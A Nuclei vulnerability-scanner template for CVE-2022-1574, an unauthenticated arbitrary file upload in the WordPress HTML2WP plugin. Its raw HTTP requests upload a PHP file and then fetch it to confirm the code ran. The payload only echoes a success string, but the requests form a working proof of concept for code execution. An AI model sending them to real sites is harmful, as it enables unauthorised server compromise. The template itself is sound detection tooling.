nuclei-templates/http/cves/2022/CVE-2022-1574.yaml

63 lines
2.2 KiB
YAML

id: CVE-2022-1574
info:
name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
remediation: |
Update to the latest version of the plugin or remove it if not needed.
reference:
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://wordpress.org/plugins/html2wp/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1574
cwe-id: CWE-352
epss-score: 0.02682
epss-percentile: 0.89279
cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: html2wp_project
product: html2wp
framework: wordpress
tags: wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp
http:
- raw:
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host: {{Hostname}}
Content-Length: 253
Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection: close
-----------------------------7816508136577551742878603990
Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type: text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990--
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 302"
- "status_code_2 == 200"
- "contains(body_2, 'File Upload success')"
condition: and
# digest: 4a0a00473045022100f292cc8ca18b333fd46522e3749bb0ca66b268d226453ff2c239cd2c4cd900fa022054029d01d1742e8710d11c98fe6b73410f19dcb343ca76f07be876bc126e3db0:922c64590222798bb761d5b6d8e72950